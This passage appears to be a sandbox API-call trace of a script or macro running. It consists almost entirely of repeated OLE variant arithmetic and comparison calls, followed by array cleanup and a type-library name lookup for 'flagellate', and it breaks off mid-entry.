[0018.277] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.278] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.278] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.278] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.279] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.279] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.279] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.279] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.280] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.282] SafeArrayDestroyData (psa=0x7320930) returned 0x0 [0018.282] SafeArrayDestroyDescriptor (psa=0x7320930) returned 0x0 [0018.282] SafeArrayDestroyData (psa=0x7461e10) returned 0x0 [0018.282] SafeArrayDestroyData (psa=0x7320cf0) returned 0x0 [0018.282] SafeArrayDestroyDescriptor (psa=0x7320cf0) returned 0x0 [0018.283] SafeArrayDestroyData (psa=0x7461de0) returned 0x0 [0018.283] SafeArrayDestroyData (psa=0x7461e88) returned 0x0 [0018.283] SafeArrayDestroyData (psa=0x7461ec0) returned 0x0 [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="flagellate") returned 0x1050c9 [0018.283] strcpy_s (in: _Dst=0x263790, _DstSize=0xb, _Src="flagellate" | out: _Dst="flagellate") returned 0x0 [0018.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=11, lpWideCharStr=0x2635f0, cchWideChar=11 | out: lpWideCharStr="flagellate") returned 11 [0018.283] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.283] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="flagellate", lHashVal=0x1050c9, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.283] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.283] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.283] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="flagellate", lHashVal=0x1050c9, pfName=0x263748, pBstrLibName=0x2635f0 | out: 